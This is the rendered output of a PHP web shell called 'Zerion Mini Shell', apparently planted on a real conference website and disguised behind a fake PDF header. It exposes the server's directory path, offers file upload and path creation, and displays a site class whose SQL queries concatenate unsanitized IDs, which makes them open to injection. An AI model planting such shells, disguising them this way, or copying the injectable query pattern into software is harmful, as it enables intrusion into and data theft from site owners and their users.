%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-eldw.eu/public_html/inc/classes/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-eldw.eu/public_html/inc/classes/Bloc.php

<?php

class Bloc extends Load {

	var $bd;
	var $lang;
	var $nom_table='bloc';
	var $clef_primaire='id_bloc';
	var $table=array('id_page','type','ordre','photo','taillephoto','semivalid'); 
	
	var $table_lang=array('texte','bouton','soustitre','nom_fichier','tags','copyright','valide','lien_bouton','afficher'); 

	function Bloc() {
		//constructor
		parent::Load();
		$this->bd = new BaseOps;
		$this->lang = new Lang;
		
	}
	
	function next_id(){
		$query = "SELECT max(id_bloc) FROM `bloc`";
		$data = $this->bd->select_array($query);
		if ($data[0] == null)
			return 1;
		else
			return $data[0]+1;
	}
	
	
	function getBloc($id_bloc){
		$query = "SELECT * FROM `bloc` WHERE id_bloc =".$id_bloc;
		$return=$this->bd->select_array($query);
		$query = "SELECT * FROM `bloc_lang` WHERE `id_bloc`=".$id_bloc;
		$lang_traductions=$this->bd->select_arrays($query);
		foreach($lang_traductions as $lang_traduction){
			foreach($this->table_lang as $unchamp){ 
				$return[$unchamp.'_'.$lang_traduction['id_lang']]=$lang_traduction[$unchamp];
			}
		}
		return $return;
	}
	
	function getBlocLang($id_bloc,$id_lang){
		$query = "SELECT * FROM `bloc` b LEFT JOIN `bloc_lang` bl ON bl.id_bloc=b.id_bloc WHERE `id_lang`=".$id_lang." AND b.id_bloc =".$id_bloc;
		echo $query;
		$return=$this->bd->select_array($query);
		
		return $return;
	}
	
	function getFirstBloc($type="texte",$id_lang){
		
	}
	
	
}

?>

Zerion Mini Shell 1.0